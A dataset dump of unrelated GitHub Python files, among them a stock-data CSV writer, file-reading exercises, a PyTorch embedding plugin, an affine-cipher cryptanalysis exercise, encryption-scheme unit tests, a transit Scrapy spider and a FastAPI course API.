financials.get_historical_price_data(start_date, end_date, \"daily\")\n prices = data[ticker][\"prices\"]\n\n # header of csv\n ordering = ['High', 'Low', 'Open', 'Close', 'Volume', 'Adjclose']\n\n # rearrange values with different keys\n for i in range(len(prices)):\n formatted_dict = {'Date': prices[i]['formatted_date']}\n for j in ordering:\n formatted_dict[ticker + \".\" + j] = prices[i][j.lower()]\n prices[i] = formatted_dict\n\n keys = prices[0].keys()\n\n # write prices dictionary to csv file\n with open('data/' + ticker + '.csv', 'w', newline='') as file:\n dict_writer = csv.DictWriter(file, keys)\n dict_writer.writeheader()\n dict_writer.writerows(prices)\n\n","repo_name":"arjnai21/QuantitativeStockSelectionAndTrading","sub_path":"oldstuff/CollectPriceData.py","file_name":"CollectPriceData.py","file_ext":"py","file_size_in_byte":2388,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"14983326321","text":"# ================================================== #\n\n# Materi 1 : Reading Files #1\nfile = open(\"filename.txt\",\"r\")\ncont = file.read()\nprint(cont)\nfile.close()\n\n# Soal 1 : Rearrange the code to open a file, read its contents, print them, and then close the file.\n\n# Jawaban 1 : \nfile = open(\"test.txt\")\ncont = file.read()\nprint(cont)\nfile.close()\n\n# ================================================== #\n\n# Materi 2 : Reading Files #2\nfile = open(\"filename.txt\",\"r\")\nprint(file.read(16))\nprint(file.read(4))\nprint(file.read(4))\nprint(file.read())\nfile.close()\n\n# Soal 2 : How many characters would be in each line printed by this code, if one character is one byte?\nfile = open(\"filename.txt\",\"r\")\nfor i in range(21) :\n print(file.read(4))\nfile.close()\n\n# Jawaban 2 : 4\n\n# ================================================== #\n\n# Materi 3 : Reading Files #3\nfile = open(\"filename.txt\",\"r\")\nfile.read()\nprint(\"Re-reading\")\nprint(file.read())\nprint(\"Finished\")\nfile.close()\n\n# Soal 3 : Fill in the blanks to open a file, read its content and print its length.\n# file = ____(\"filename.txt\",\"r\")\n# str = file.____()\n# print(len(str))\n# file.close()\n\n# Jawaban 3 :\nfile = open(\"filename.txt\",\"r\")\nstr = file.read()\nprint(len(str))\nfile.close()\n\n# ================================================== #\n\n# Materi 4 : Reading Files #4\nfile = open(\"filename.txt\",\"r\")\nprint(file.readlines())\nfile.close()\n\nfile = open(\"filename.txt\",\"r\")\nfor line in file :\n print(line)\nfile.close()\n\n# Soal 4 : If the file test.txt has 7 lines of content, what will the following expression return? \nlen(open(\"test.txt\").readlines())\n\n# Jawaban 4 : 7\n\n# ================================================== #","repo_name":"neapps/Python-3-Tutorial","sub_path":"4. Exceptions & Files/reading_files.py","file_name":"reading_files.py","file_ext":"py","file_size_in_byte":1686,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"11082635197","text":"\r\n# 给定一个数组,求最大加和子数组\r\ndef maxSubArray(nums):\r\n \"\"\"\r\n :type nums: List[int]\r\n :rtype: int\r\n \"\"\"\r\n dp = [nums[0]]\r\n for i in range(1, len(nums)):\r\n maxi = nums[i] + (dp[i - 1] if dp[i - 1] > 0 else 0)\r\n dp.append(maxi)\r\n return dp[-1]\r\n","repo_name":"ssd227/sgd-algorithm","sub_path":"leetcode/problem/dynamic/max_sub_array.py","file_name":"max_sub_array.py","file_ext":"py","file_size_in_byte":298,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"6056878612","text":"from abc import ABCMeta\nfrom distutils.version import StrictVersion\nfrom typing import List, Dict\n\nimport torch\nfrom torch.nn import Module, Embedding, Linear\n\nfrom coli.basic_tools.common_utils import NoPickle\nfrom coli.data_utils import dataset\nfrom coli.data_utils.embedding import read_embedding\nfrom coli.torch_extra.utils import pad_and_stack_1d\n\ntry:\n torch_version = StrictVersion(torch.__version__)\nexcept ValueError:\n torch_version = StrictVersion(\"1.1.0\")\n\nif torch_version >= StrictVersion(\"1.1.0\"):\n @torch.jit.script\n class TorchDictionary(object):\n def __init__(self, dict_input: Dict[str, int]):\n self.dict = dict_input\n\n def lookup(self, tokens: List[str], padded_length: int,\n default: int, dtype: int = torch.int64,\n start_and_stop: bool = False):\n ret = torch.zeros([padded_length + (2 if start_and_stop else 0)],\n dtype=dtype)\n if start_and_stop:\n ret[0] = self.dict.get(\"___START___\", default)\n idx = 1 if start_and_stop else 0\n for idx in range(len(tokens)):\n ret[idx] = self.dict.get(tokens[idx], default)\n if start_and_stop:\n ret[idx + 1] = self.dict.get(\"___END___\", default)\n\n return ret\nelse:\n class TorchDictionary(object):\n def __init__(self, dict_input: Dict[str, int]):\n raise Exception(\"requires pytorch > 1.1.0\")\n\n\ndef lookup_list(tokens_itr, token_dict, padded_length,\n default, dtype=torch.int64,\n start_and_stop=False,\n tensor_factory=torch.zeros):\n return dataset.lookup_list(tokens_itr, token_dict, padded_length,\n default, dtype, start_and_stop, tensor_factory)\n\n\ndef lookup_characters(words_itr, char_dict, padded_length,\n default, max_word_length=20, dtype=torch.int64,\n start_and_stop=True,\n sentence_start_and_stop=False,\n return_lengths=False,\n tensor_factory=torch.zeros\n ):\n return dataset.lookup_characters(words_itr, char_dict, padded_length,\n default, max_word_length, dtype,\n start_and_stop, sentence_start_and_stop,\n return_lengths, tensor_factory)\n\n\nclass InputPluginBase(Module, metaclass=ABCMeta):\n def __init__(self, *args, **kwargs):\n super(InputPluginBase, self).__init__()\n\n def reload(self, *args, **kwargs):\n pass\n\n def process_sentence_feature(self, sent, sent_feature,\n padded_length, start_and_end=False):\n pass\n\n def process_batch(self, pls, feed_dict, batch_sentences):\n pass\n\n def forward(self, feed_dict):\n pass\n\n\nclass ExternalEmbeddingPlugin(InputPluginBase):\n def __init__(self, embedding_filename, project_to=None, encoding=\"utf-8\",\n lower=False, gpu=False):\n super().__init__()\n self.lower = lower\n self.project_to = project_to\n self.reload(embedding_filename, encoding, gpu)\n\n def reload(self, embedding_filename, encoding=\"utf-8\", gpu=False):\n self.gpu = gpu\n words_and_vectors = read_embedding(embedding_filename, encoding)\n self.output_dim = len(words_and_vectors[0][1])\n # noinspection PyCallingNonCallable\n words_and_vectors.insert(0, (\"*UNK*\", [0.0] * self.output_dim))\n\n words, vectors_py = zip(*words_and_vectors)\n self.lookup = {word: idx for idx, word in enumerate(words)}\n # noinspection PyCallingNonCallable\n vectors = torch.tensor(vectors_py, dtype=torch.float32)\n\n # prevent .cuda()\n # noinspection PyReturnFromInit\n self.embedding_ = [NoPickle(Embedding.from_pretrained(vectors, freeze=True))]\n\n if self.project_to:\n self.projection = Linear(self.output_dim, self.project_to)\n self.output_dim = self.project_to\n\n def lower_func(self, word):\n if self.lower:\n return word.lower()\n return word\n\n def process_sentence_feature(self, sent, sent_feature,\n padded_length, start_and_end=False):\n words = [self.lower_func(i) for i in sent.words]\n sent_feature.extra[\"words_pretrained\"] = lookup_list(\n words, self.lookup,\n padded_length=padded_length, default=0, start_and_stop=start_and_end)\n\n def process_batch(self, pls, feed_dict, batch_sentences):\n feed_dict[pls.words_pretrained] = pad_and_stack_1d([i.extra[\"words_pretrained\"] for i in batch_sentences])\n\n def forward(self, feed_dict):\n ret = self.embedding_[0](feed_dict.words_pretrained.cpu())\n if self.gpu:\n ret = ret.cuda()\n if hasattr(self, \"projection\"):\n ret = self.projection(ret)\n return ret\n","repo_name":"draplater/coli-torch_extra","sub_path":"dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":4993,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"17038451217","text":"import pandas as pd\nimport matplotlib.pyplot as plt\n\n\ntitanic_df = pd.read_csv('titanic.csv')\npvt = titanic_df.pivot_table(\n index=['Sex'],\n columns=['PClass'],\n values='Name',\n aggfunc='count'\n)\n\n# print(pvt.loc[['female'], ['1st', '2nd', '3rd']])\n\napple_df = pd.read_csv('apple.csv', index_col='Date', parse_dates=True)\napple_df = apple_df.sort_index()\napple_df.loc['2012-Feb', 'Close'].mean() # средняя цена акций за 2012 февраля при закрытии\napple_df.loc['2012-Feb': '2015-Feb', 'Close'].mean() # средняя цена акций с 2012 по 2015 февраля при закрытии\n\napple_df.resample('W')['Close'].mean() # по неделям\n\napple_df.loc['2012-Feb': '2015-Feb', 'Close'].plot()\nplt.show()\n# print(apple_df.resample('W')['Close'].mean())\n\n\n","repo_name":"BariGisher20/Python--","sub_path":"PANDAS/titanic/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":821,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"22776804953","text":"import geopy.distance as geodis\nimport numpy\n\n# Calculate great_circle distance between two points on earth\n# x and y should have member 'lat' and 'lon'\n# For example, x and y can be instances of class ProvincePoint\n# Return:\n# double: distance in kilometers.\ndef calculate_distance(x, y, type='km'):\n dis = geodis.great_circle((x.lat, x.lon), (y.lat, y.lon))\n return dis.km\n\n# Calculate distances between each two-point pair in the list given\n# Return:\n# numpy.array: 2-dimension array including distances \ndef calculate_all_distances(point_list, out_filename=''):\n result = []\n for x in point_list:\n distance = []\n for y in point_list:\n distance.append(geodis.great_circle((x.lat, x.lon),\n (y.lat, y.lon)).km)\n result.append(distance)\n\n if out_filename:\n with open(out_filename, 'w', newline='') as result_file:\n result_writer = csv.writer(result_file, delimiter=',', dialect='excel')\n for line in result:\n result_writer.writerow(line)\n\n return numpy.array(result)\n\ndef main():\n from common.predefined_vars import PROVINCE_POINTS\n\n res = calculate_all_distances(PROVINCE_POINTS)\n print(res)\n\nif __name__ == '__main__':\n main()\n","repo_name":"straywarrior/MRIOtool","sub_path":"common/geoutil.py","file_name":"geoutil.py","file_ext":"py","file_size_in_byte":1286,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"3511191796","text":"import itertools\nfrom ops import BgramOps\nfrom ops import MathOps\nfrom typing import List, Tuple\n\n\nclass AffineCipherAttack(BgramOps):\n \"\"\"Class to make an attack on affine cipher\"\"\"\n\n def __init__(self, file: str) -> None:\n self.file = file\n super().__init__(self.file)\n\n # read an encrypted text from target file\n with open(self.file, encoding='utf8') as f:\n self.encrypted_text = f.read().replace(\"\\n\", \"\")\n\n def create_system(self) -> List[tuple[str, str]]:\n \"\"\"Create system of bgrams:\n /- Y* = aX* + b(mod m^2)\n |\n \\- Y* = aX* + b(mod m^2)\n \"\"\"\n mode_bigrams_cipher = self.top_bgrams()\n bgrams, result_system = [], []\n bgrams = list(itertools.product(self.TOP_BGRAMS, mode_bigrams_cipher))\n\n # iterate over bgrams and make a filtration\n for i in bgrams:\n for j in bgrams:\n\n # if bgrams are equal\n if i == j: continue\n\n # if bgrams already exists\n elif (j, i) in result_system: continue\n\n # if first bgram from first pair is equal to frist bgram from second pair\n elif i[0] == j[0]: continue\n\n # second brams from first pair is equal to second bgram from second pair\n elif i[1] == j[1]: continue\n\n # otherwise add to result list\n result_system.append((i, j))\n\n return result_system \n\n def roots(self, set_: tuple[tuple[str]]) -> List[tuple[int, int]]:\n \"\"\"Get roots for each pair of bgram using this formula:\n Y* - Y** = a(X* - X**)(mod m^2)\n\n Return (a: int, b: int)\n \"\"\"\n # Y*\n y_s = self.bigram_to_num(set_[0][0]) - self.bigram_to_num(set_[1][0])\n\n # Y**\n y_ss = self.bigram_to_num(set_[0][1]) - self.bigram_to_num(set_[1][1])\n\n a = MathOps().mod_equation(y_s, y_ss, 31 ** 2)\n if a:\n # b = (Y* - aX*)(mod m^2)\n b = (self.bigram_to_num(set_[0][1]) -\\\n a * self.bigram_to_num(set_[0][0])) % 31 ** 2\n return a, b\n\n def get_keys(self) -> List[Tuple[int, int]]:\n \"\"\"Iterate over bgram systems and find root of each pair\"\"\"\n keys = []\n system = self.create_system()\n for i in system:\n roots = self.roots(i)\n if roots:\n keys.append(roots)\n return keys\n\n def decrypt(self, keys: List[Tuple[int, int]]) -> List[str]:\n \"\"\"Decrypt text based on key pair\n Xi = (a^-1) * (Y-b) (mod m)\n\n Validate decrypted text after a represent most correct text\n \"\"\"\n # list of decrypted text\n decrypted = []\n\n # iterate over list of keys\n for k in keys:\n result_bgrams = []\n a, b = k[0], k[1]\n\n # calulate \"a^-1\" using Euclid algo\n a = MathOps().expanded_gcd(a, 31**2)\n\n # iterate over encrypted text with step 2 (bgram)\n for i in range(0, len(self.encrypted_text), 2):\n # Xi = (a^-1) * (Y-b) (mod m)\n x_i = (a * (\n self.bigram_to_num(self.encrypted_text[i:i+2]) - b\n )) % (31**2)\n\n result_bgrams.append(self.num_to_bgram(x_i))\n\n # combine bgrams to solid text\n decrypted.append(\"\".join(k for k in result_bgrams))\n\n return self._validate(decrypted)\n\n\nif __name__ == \"__main__\":\n c = AffineCipherAttack(\"03.txt\")\n rev = c.get_keys()\n print(c.decrypt(rev))\n","repo_name":"supermemez/crypto-22-23","sub_path":"cp3/kodak_fb-02_nikitskyi_fb-05_cp3/cypher.py","file_name":"cypher.py","file_ext":"py","file_size_in_byte":3563,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"78"} +{"seq_id":"37439387140","text":"import filecmp\nimport random\nimport unittest\n\nfrom client import Client\nfrom consultant import Consultant\nfrom server import Server\n\n\nclass Test(unittest.TestCase):\n def setUp(self):\n self.server = Server()\n self.consultant = Consultant(self.server)\n self.users = []\n for user_id in range(1, random.randrange(4, 8)):\n self.users.append(Client(self.server, user_id))\n\n def test_user(self):\n \"\"\"\n User should be able to decrypt his own ciphertext\n \"\"\"\n user = random.choice(self.users)\n message = 1657\n sigma = user.encrypt(message)\n decrypted = user.decrypt(sigma)\n\n self.assertEqual(message, decrypted)\n\n def test_consultant_encryption_for_user(self):\n \"\"\"\n Consultant should be able to encrypt data for a user,\n that he/she then is able to successfully decrypt.\n \"\"\"\n user = random.choice(self.users)\n message = 26874\n sigma = self.consultant.encrypt(message, user.user_id())\n decrypted = user.decrypt(sigma)\n\n self.assertEqual(message, decrypted)\n\n def test_consultant_encryption_for_consultant(self):\n \"\"\"\n Consultant that tries to encrypt something for himself should get an error.\n \"\"\"\n with self.assertRaises(Exception) as context:\n self.consultant.encrypt(7899654)\n\n self.assertTrue(\"Why would the consultant encrypt something for himself\" in str(context.exception))\n\n def test_consultant_decryption(self):\n \"\"\"\n Consultant should be able to decrypt users ciphertext.\n \"\"\"\n user = random.choice(self.users)\n message = 26874\n sigma = user.encrypt(message)\n decrypted = self.consultant.decrypt(sigma)\n\n self.assertEqual(message, decrypted)\n\n def test_different_user(self):\n \"\"\"\n Different user should NOT be able to decrypt users ciphertext.\n \"\"\"\n user1 = random.choice(self.users)\n user2 = random.choice(self.users)\n while user1 == user2:\n user2 = random.choice(self.users)\n\n message = 61298741\n sigma = user1.encrypt(message)\n decrypted = user2.decrypt(sigma)\n\n self.assertNotEqual(message, decrypted)\n\n def test_ids(self):\n \"\"\"\n Consultant id should be 0 and user ids should not be 0.\n \"\"\"\n self.assertEqual(self.consultant.user_id(), 0)\n for u in self.users:\n self.assertNotEqual(u.user_id(), 0)\n\n def test_data_storing(self):\n \"\"\"\n Test whether storing works.\n \"\"\"\n user = random.choice(self.users)\n\n sigma = user.encrypt(452)\n m_peck = user.m_peck([\"foobar\"])\n self.server.store_data(user.user_id(), (sigma, m_peck))\n\n self.assertEqual(self.server.data[user.user_id()], [(sigma, m_peck)])\n\n def test_data_storing_consultant(self):\n \"\"\"\n Test whether the consultant can properly store data and the user can query it.\n \"\"\"\n user = random.choice(self.users)\n\n sigma = self.consultant.encrypt(7945, user.user_id())\n m_peck = self.consultant.m_peck([\"foobar\"], user.user_id())\n\n # Store encrypted data\n self.server.store_data(user.user_id(), (sigma, m_peck))\n\n # User should now be able to retrieve that data\n trapdoor = user.generate_trapdoor([0], [\"foobar\"])\n result = self.server.evaluate_trapdoor(trapdoor, user.user_id())\n self.assertEqual(len(result), 1)\n self.assertEqual(result[0], sigma)\n\n def test_data_querying(self):\n \"\"\"\n Test whether querying works.\n \"\"\"\n user = random.choice(self.users)\n\n sigma = user.encrypt(9511)\n m_peck = user.m_peck([\"foobar\"])\n self.server.store_data(user.user_id(), (sigma, m_peck))\n\n # Test trapdoor that should return nothing\n trapdoor = user.generate_trapdoor([0, 1], [\"foobar\", \"barfoo\"])\n result = self.server.evaluate_trapdoor(trapdoor, user.user_id())\n\n self.assertEqual(len(result), 0)\n self.assertEqual(result, [])\n\n # Test trapdoor that should return single sigma\n trapdoor = user.generate_trapdoor([0], [\"foobar\"])\n result = self.server.evaluate_trapdoor(trapdoor, user.user_id())\n self.assertEqual(len(result), 1)\n self.assertEqual(result[0], sigma)\n\n def test_data_query_for_different_user(self):\n \"\"\"\n Different user should NOT get a result when using the same keyword.\n \"\"\"\n user1 = random.choice(self.users)\n user2 = random.choice(self.users)\n while user1 == user2:\n user2 = random.choice(self.users)\n\n # Let user1 store some data\n sigma = user1.encrypt(5624)\n m_peck = user1.m_peck([\"foobar\"])\n self.server.store_data(user1.user_id(), (sigma, m_peck))\n\n # Make sure user2 cannot query that data\n trapdoor = user2.generate_trapdoor([0], [\"foobar\"])\n result = self.server.evaluate_trapdoor(trapdoor, user2.user_id())\n self.assertEqual(len(result), 0)\n self.assertEqual(result, [])\n\n def test_data_query_for_consultant(self):\n \"\"\"\n The consultant should get all the results.\n \"\"\"\n user1 = random.choice(self.users)\n user2 = random.choice(self.users)\n while user1 == user2:\n user2 = random.choice(self.users)\n\n sigma1 = user1.encrypt(123456)\n m_peck1 = user1.m_peck([\"foobar\"])\n self.server.store_data(user1.user_id(), (sigma1, m_peck1))\n\n sigma2 = user2.encrypt(654321)\n m_peck2 = user2.m_peck([\"foobar\"])\n self.server.store_data(user2.user_id(), (sigma2, m_peck2))\n\n # User 1 should only get his result\n trapdoor1 = user1.generate_trapdoor([0], [\"foobar\"])\n result1 = self.server.evaluate_trapdoor(trapdoor1, user1.user_id())\n self.assertEqual(len(result1), 1)\n self.assertEqual(result1[0], sigma1)\n # Same for user 2\n trapdoor2 = user2.generate_trapdoor([0], [\"foobar\"])\n result2 = self.server.evaluate_trapdoor(trapdoor2, user2.user_id())\n self.assertEqual(len(result2), 1)\n self.assertEqual(result2[0], sigma2)\n\n # Now for the interesting part: The consultant should het both results.\n trapdoor3 = self.consultant.generate_trapdoor([0], [\"foobar\"])\n result3 = self.server.evaluate_trapdoor(trapdoor3, 0)\n self.assertEqual(len(result3), 2)\n self.assertEqual(result3[0], sigma1)\n self.assertEqual(result3[1], sigma2)\n\n def test_text_file(self):\n \"\"\"\n Test whether encryption/decryption of a text file works correctly.\n \"\"\"\n user = random.choice(self.users)\n\n encrypted = user.encrypt_file(\"test-file.txt\")\n decrypted_file_name = user.decrypt_file(encrypted)\n\n self.assertTrue(filecmp.cmp(\"test-file.txt\", decrypted_file_name))\n\n @unittest.skip(\"This works, but takes a long time (166 seconds on my machine).\")\n def test_image_file(self):\n \"\"\"\n Test whether encryption/decryption of a image file works correctly.\n \"\"\"\n user = random.choice(self.users)\n image = \"stock-image.png\"\n\n encrypted = user.encrypt_file(image)\n decrypted_file_name = user.decrypt_file(encrypted, \"result-image.png\")\n\n self.assertTrue(filecmp.cmp(image, decrypted_file_name))\n\n def test_single_trapdoor(self):\n \"\"\"\n Trapdoor evaluation should return True.\n \"\"\"\n user = random.choice(self.users)\n\n m_peck = user.m_peck(['transfer'])\n trapdoor = user.generate_trapdoor([0], ['transfer'])\n\n result = self.server.evaluate_trapdoor_single_mpeck(trapdoor, user.user_id(), m_peck)\n\n self.assertTrue(result)\n\n def test_multiple_trapdoor(self):\n \"\"\"\n Trapdoor evaluation should return True, even if multiple keywords are used.\n \"\"\"\n user = random.choice(self.users)\n\n m_peck = user.m_peck(['transfer', 'withdrawal', 'private'])\n trapdoor = user.generate_trapdoor([0, 2], ['transfer', 'withdrawal', 'private'])\n\n result = self.server.evaluate_trapdoor_single_mpeck(trapdoor, user.user_id(), m_peck)\n\n self.assertTrue(result)\n\n def test_invalid_trapdoor(self):\n \"\"\"\n Trapdoor evaluation should return False.\n \"\"\"\n user = random.choice(self.users)\n\n m_peck = user.m_peck(['foobar'])\n trapdoor = user.generate_trapdoor([0], ['boofar'])\n\n result = self.server.evaluate_trapdoor_single_mpeck(trapdoor, user.user_id(), m_peck)\n\n self.assertFalse(result)\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"dexbleeker/MobProgramming","sub_path":"tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":8724,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"29138528650","text":"#https://ckan.multimediagdansk.pl/dataset/tristar/resource/22313c56-5acf-41c7-a5fd-dc5dc72b3851\n\n\nimport scrapy\nimport json\n\nfrom ztm_scrappers.date_converter import convert_datetime, convert_data\nclass RoutesSpider(scrapy.Spider):\n name = \"routes\"\n start_urls = ['https://ckan.multimediagdansk.pl/dataset/c24aa637-3619-4dc2-a171-a23eec8f2172/resource/22313c56-5acf-41c7-a5fd-dc5dc72b3851/download/routes.json']\n\n def parse(self, response):\n data = json.loads(response.text)\n\n for date, date_data in data.items():\n last_update = convert_datetime(date_data.get(\"lastUpdate\"))\n routes = date_data.get(\"routes\")\n\n if routes:\n for route in routes:\n route_data = {\n \"lastUpdate\": last_update,\n \"date\": convert_data(date),\n \"routeId\": route.get(\"routeId\"),\n \"agencyId\": route.get(\"agencyId\"),\n \"routeShortName\": route.get(\"routeShortName\"),\n \"routeLongName\": route.get(\"routeLongName\"),\n \"activationDate\": convert_data(route.get(\"activationDate\")),\n \"routeType\": route.get(\"routeType\"),\n }\n\n yield route_data\n","repo_name":"malyyigor34/ztm_scrappers","sub_path":"ztm_scrappers/spiders/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":1315,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"29413018810","text":"import multiprocessing\nimport os\nimport time\nimport random\n\ndef copy_file(q,file_name,old_folder_name,new_floder_name):\n \"\"\"完成文件的复制\"\"\"\n # print(\"模拟copy文件:%s,从%s-------->%s\"%(file_name,old_folder_name,new_floder_name))\n old_f = open(old_folder_name + \"/\" + file_name,\"rb\")\n content = old_f.read()\n old_f.close()\n\n new_f = open(new_floder_name + \"/\" + file_name,\"wb\")\n new_f.write(content)\n new_f.close()\n # 如果拷贝完了文件,那么就向队列写入一个消息,表示已经完成\n q.put(file_name)\n\ndef main():\n # 1、获取用户要copy的文件夹的名字\n old_folder_name = input(\"请输入要copy得文件夹的名字:\")\n # 2、创建一个新的文件夹\n try:\n new_floder_name = old_folder_name + \"[复件]\"\n os.mkdir(new_floder_name)\n except:\n pass\n # 3、获取文件夹的所有的待copy的文件名字 listdit()\n file_names = os.listdir(old_folder_name)\n # 4、创建进程池\n po = multiprocessing.Pool(5)\n # 5、创建队列\n q = multiprocessing.Manager().Queue()\n # 6、向进程池中添加copy文件的任务\n for file_name in file_names:\n po.apply_async(copy_file,args=(q,file_name,old_folder_name,new_floder_name))\n # 7、关闭资源调度\n po.close()\n # po.join()\n all_file_num = len(file_names) # 测一下所有的文件个数\n copy_ok_num = 0;\n while True:\n file_name = q.get()\n # print(\"已经完成copy%s\" % file_name)\n copy_ok_num += 1\n print(\"\\r拷贝的进度为: %.2f%%\" % (copy_ok_num *100 / all_file_num),end=\"\")\n if copy_ok_num>=all_file_num:\n break\n print()\n\nif __name__ == '__main__':\n main()","repo_name":"IronmanJay/Python_Project","sub_path":"Multitask/Pocess/FolderCopier.py","file_name":"FolderCopier.py","file_ext":"py","file_size_in_byte":1733,"program_lang":"python","lang":"zh","doc_type":"code","stars":15,"dataset":"github-code","pt":"78"} +{"seq_id":"3163915491","text":"class Solution(object):\n #solution 0: \n def twoSum(self, nums, target):\n indices=[]\n n=len(nums)\n for i in range(n):\n Twosum=0\n Twosum+=nums[i]\n for j in range (i+1,n):\n if (Twosum+nums[j]==target):\n indices.append(i)\n indices.append(j)\n return indices \n","repo_name":"Ha-ri-ka/DSA-Practice","sub_path":"LeetCode/Easy/0001_TwoSum.py","file_name":"0001_TwoSum.py","file_ext":"py","file_size_in_byte":382,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"38901894351","text":"# -*- coding: utf-8 -*-\n# ======================================\n# @File : 945.py\n# @Time : 2020/3/22 8:15\n# @Author : Rivarrl\n# ======================================\nfrom algorithm_utils import *\n\nclass Solution:\n @timeit\n def minIncrementForUnique(self, A: List[int]) -> int:\n from collections import defaultdict\n d = defaultdict(int)\n m = 0\n for a in A:\n d[a] = d.get(a, 0) + 1\n m = max(m, a)\n res = 0\n for i in range(80001):\n if d[i] <= 1: continue\n d[i + 1] += d[i] - 1\n res += d[i] - 1\n d[i] = 1\n return res\n\n @timeit\n def minIncrementForUnique2(self, A: List[int]) -> int:\n A.sort()\n A += [100000]\n res = inc = 0\n for i in range(1, len(A)):\n if A[i-1] == A[i]:\n inc += 1\n res -= A[i]\n else:\n t = min(inc, A[i] - A[i-1] - 1)\n res += A[i-1] * t + (1 + t) * t // 2\n inc -= t\n return res\n\nif __name__ == '__main__':\n a = Solution()\n a.minIncrementForUnique2([1,2,2])\n a.minIncrementForUnique2([3,2,1,2,1,7])","repo_name":"Rivarrl/leetcode_python","sub_path":"leetcode/901-1200/945.py","file_name":"945.py","file_ext":"py","file_size_in_byte":1186,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"39888575587","text":"#!/usr/bin/env python\n# -*- coding: UTF-8 -*-\n\"\"\"=================================================\n@Author :蒋虎成\n@Date :2021/9/24 19:12\n@Desc : 基础配置文件\n========================================d==========\"\"\"\ncolor_data_path = './data/Monet/' # 这里填入你的训练集文件夹路径例如:\\\\你的电脑路径\\\\data\\\\monet\\\ncolor_distance_filepath = 'data/color_distance.csv'\nn = 10 #生成数量\ncolor_output_filepath = 'cattle-output/cattle'\nk = 30 # K-Means算法分成K类\ninit_method = 'random'\nrandom_state = 88\nbox_number = 8 # 艺术家风格分箱颜色数","repo_name":"CivicCoding/Master-art-punk","sub_path":"Master-art-punk/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":599,"program_lang":"python","lang":"zh","doc_type":"code","dataset":"github-code","pt":"78"} +{"seq_id":"12695736870","text":"from typing import Any, Dict, Optional, Union, List\nfrom fastapi import (\n FastAPI,\n HTTPException,\n status,\n Response,\n Path,\n Query,\n Header,\n Depends,\n)\n\n# from fastapi.responses import JSONResponse\nfrom time import sleep\nfrom models import Curso, cursos\n\n\ndef fake_db():\n try:\n print(\"abrindo conexão db \")\n sleep(1)\n finally:\n print(\"fechando conexão\")\n sleep(1)\n\n\napp = FastAPI(\n title=\"API de Cursos\",\n version=\"0.2.1\",\n description=\"API para aprender a utilização do FastAPI\",\n)\n\n\n@app.get(\n \"/cursos\",\n description=\"Retorna todos os cursos armazenados no banco de dados\",\n summary=\"Retorna todos os cursos\",\n response_model=List[Curso],\n response_description=\"Cursos Encontrados\",\n)\nasync def get_cursos(db: Any = Depends(fake_db)):\n return cursos\n\n\n@app.get(\n \"/cursos/{curso_id}\",\n description=\"Retorna o curso armazenados no banco de dados com o ID passado\",\n summary=\"Retorna o curso com o ID passado\",\n)\nasync def get_curso(\n curso_id: int = Path(\n default=None,\n title=\"ID do curso\",\n description=\"Deve ser entre 1 e 4\",\n gt=0,\n lt=5,\n ),\n db: Any = Depends(fake_db),\n):\n try:\n curso = cursos[curso_id]\n return curso\n except KeyError:\n raise HTTPException(\n status_code=status.HTTP_404_NOT_FOUND,\n detail=\"Curso não Encontrado\",\n )\n\n\n@app.post(\n \"/cursos\",\n status_code=status.HTTP_201_CREATED,\n description=\"Cadastra um novo curso no banco de dados\",\n summary=\"Cadastrar um novo curso\",\n response_model=Curso,\n)\nasync def post_curso(curso: Curso, db: Any = Depends(fake_db)):\n next_id: int = len(cursos) + 1\n curso.id = next_id\n cursos.append(curso)\n return curso\n\n\n@app.put(\n \"/cursos/{curso_id}\",\n description=\"Atualiza um curso armazenado no banco de dados com o ID passado\",\n summary=\"Atualiza um curso com o ID passado\",\n)\nasync def put_curso(curso_id: int, curso: Curso, db: Any = Depends(fake_db)):\n if curso_id in cursos:\n cursos[curso_id] = curso\n del curso.id\n return curso\n else:\n raise HTTPException(\n status_code=status.HTTP_404_NOT_FOUND,\n detail=\"Id do curso não encontrado\",\n )\n\n\n@app.delete(\n \"/cursos/{curso_id}\",\n description=\"Deleta o curso armazenado no banco de dados pelo ID\",\n summary=\"Deleta um curso pelo ID\",\n)\nasync def delete_curso(curso_id: int, db: Any = Depends(fake_db)):\n if curso_id in cursos:\n del cursos[curso_id]\n # return cursos\n # return JSONResponse(status_code=status.HTTP_204_NO_CONTENT)\n return Response(status_code=status.HTTP_204_NO_CONTENT)\n else:\n raise HTTPException(\n status_code=status.HTTP_404_NOT_FOUND,\n detail=\"Id do curso não encontrado\",\n )\n\n\n@app.get(\n \"/calculadora\",\n description=\"Utilização de Query parameters e Header\",\n summary=\"Query parameters e Header\",\n)\nasync def calcular(\n a: int = Query(default=None, gt=5),\n b: int = Query(default=None, gt=10),\n x_header: Union[str, None] = Header(default=None),\n c: Optional[int] = None,\n):\n soma = a + b\n if c:\n soma = soma + c\n\n print(f\"Header: {x_header}\")\n\n return {\"resultado\": soma}\n\n\nif __name__ == \"__main__\":\n import uvicorn\n\n uvicorn.run(\n \"main:app\",\n host=\"0.0.0.0\",\n port=8000,\n log_level=\"info\",\n reload=True,\n debug=True,\n 